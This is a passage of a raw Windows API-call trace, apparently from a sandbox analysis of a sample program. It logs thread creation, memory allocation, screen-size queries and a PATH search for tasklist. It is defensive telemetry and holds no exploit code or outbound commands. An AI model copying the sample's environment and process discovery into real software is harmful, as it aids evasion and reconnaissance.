ulNumEntriesRemoved=0xd3f528) returned 0 [0283.052] SetEvent (hEvent=0x1b8) returned 1 [0283.052] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0283.052] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0293.221] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0293.221] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0303.336] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0303.336] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) Thread: id = 11 os_tid = 0x172c [0171.686] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b1bfd78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b1bfd78*=0xfc) returned 1 [0171.686] GetCurrentThreadId () returned 0x172c [0171.686] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x100 [0171.686] VirtualQuery (in: lpAddress=0x4b1bfd98, lpBuffer=0x4b1bfd98, dwLength=0x30 | out: lpBuffer=0x4b1bfd98*(BaseAddress=0x4b1bf000, AllocationBase=0x4afc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0171.686] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0xd40000 [0171.686] VirtualAlloc (lpAddress=0xc000088000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000088000 [0171.687] VirtualAlloc (lpAddress=0xc00008a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008a000 [0171.688] VirtualAlloc (lpAddress=0xc00008c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008c000 [0171.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xe94da0, lpParameter=0xc000088000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0171.691] CloseHandle (hObject=0x104) returned 1 [0171.691] SetEvent (hEvent=0xec) returned 1 [0171.691] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x104 [0171.691] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x108 [0171.691] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0175.154] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0175.174] SetEvent (hEvent=0x114) returned 1 [0175.174] SetEvent (hEvent=0xec) returned 1 [0175.174] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0175.181] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0175.182] SetEvent (hEvent=0x114) returned 1 [0175.182] SetEvent (hEvent=0xec) returned 1 [0175.182] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0175.593] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0175.607] SetEvent (hEvent=0x124) returned 1 [0175.607] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0176.249] SwitchToThread () returned 1 [0176.309] SetEvent (hEvent=0x114) returned 1 [0176.839] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0179.692] SetEvent (hEvent=0xec) returned 1 [0179.692] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0179.741] SwitchToThread () returned 1 [0179.777] SetEvent (hEvent=0x114) returned 1 [0179.778] VirtualAlloc (lpAddress=0xc0006ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006ba000 [0179.778] VirtualAlloc (lpAddress=0xc0006bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006bc000 [0179.778] VirtualAlloc (lpAddress=0xc0006be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006be000 [0179.779] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x26bd, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 0 [0189.867] SetEvent (hEvent=0x1b8) returned 1 [0189.867] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x2662, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 1 [0191.856] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x5, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 0 [0191.867] SetEvent (hEvent=0xec) returned 1 [0191.867] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7fffcb7a0000 [0191.868] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="GetSystemMetrics") returned 0x7fffcb7c0930 [0191.868] GetSystemMetrics (nIndex=0) returned 1440 [0191.868] GetSystemMetrics (nIndex=1) returned 900 [0191.868] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2c8f0, nSize=0x64 | out: lpBuffer="") returned 0x35 [0191.868] GetEnvironmentVariableW (in: lpName="NoDefaultCurrentDirectoryInExePath", lpBuffer=0xc000a2c9c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0191.868] GetFileAttributesExW (in: lpFileName="tasklist.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.869] CreateFileW (lpFileName="tasklist.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.869] GetFileAttributesExW (in: lpFileName="tasklist.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.869] CreateFileW (lpFileName="tasklist.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.869] GetFileAttributesExW (in: lpFileName="tasklist.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.869] CreateFileW (lpFileName="tasklist.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.869] GetFileAttributesExW (in: lpFileName="tasklist.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.869] CreateFileW (lpFileName="tasklist.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.870] GetFileAttributesExW (in: lpFileName="tasklist.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.870] CreateFileW (lpFileName="tasklist.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.870] GetFileAttributesExW (in: lpFileName="tasklist.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.870] CreateFileW (lpFileName="tasklist.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.870] GetFileAttributesExW (in: lpFileName="tasklist.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.870] CreateFileW (lpFileName="tasklist.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.870] GetFileAttributesExW (in: lpFileName="tasklist.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.870] CreateFileW (lpFileName="tasklist.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.870] GetFileAttributesExW (in: lpFileName="tasklist.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.871] CreateFileW (lpFileName="tasklist.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.871] GetFileAttributesExW (in: lpFileName="tasklist.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.871] CreateFileW (lpFileName="tasklist.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.871] GetFileAttributesExW (in: lpFileName="tasklist.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.871] CreateFileW (lpFileName="tasklist.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\tasklist.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.871] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000a2ca90, nSize=0x64 | out: lpBuffer="") returned 0xf1 [0191.871] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000946200, nSize=0xf1 | out: lpBuffer="") returned 0xf0 [0191.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.875] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\tasklist.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\tasklist.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0191.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\tasklist.com" (normalized: "c:\\windows\\system32\\tasklist.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0191.875] CreateFileW (lpFileName="C:\\Windows\\system32\\tasklist.com" (normalized: "c:\\windows\\system32\\tasklist.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) 